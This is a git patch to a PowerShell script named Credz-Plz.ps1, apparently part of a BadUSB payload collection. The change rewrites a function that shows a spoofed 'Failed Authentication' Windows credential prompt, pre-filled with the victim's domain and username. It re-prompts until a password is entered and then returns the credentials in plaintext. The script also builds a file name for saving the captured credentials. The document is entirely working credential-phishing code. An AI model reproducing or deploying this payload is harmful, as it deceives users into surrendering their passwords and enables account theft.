From eb4f08e89790ee3c7ac3ae0fcd33f8b20effeb1d Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Tue, 3 Jan 2023 20:37:35 -0600 Subject: [PATCH] Update Credz-Plz.ps1 --- Payloads/Flip-Credz-Plz/Credz-Plz.ps1 | 29 +++++++++++++++++---------- 1 file changed, 18 insertions(+), 11 deletions(-) diff --git a/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 b/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 index 27119eb..479b023 100644 --- a/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 +++ b/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 @@ -52,18 +52,25 @@ $FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt" #> function Get-Creds { -do{ -$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password - if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) { - [System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!") - Get-Creds -} -$creds = $cred.GetNetworkCredential() | fl -return $creds - # ... - $done = $true -} until ($done) +$form = $null + +while ($form -eq $null) +{ + $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); + $cred.getnetworkcredential().password + + if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) + { + [System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!") + $form = $null + } + + else{ + $creds = $cred.GetNetworkCredential() | fl + return $creds + } +} }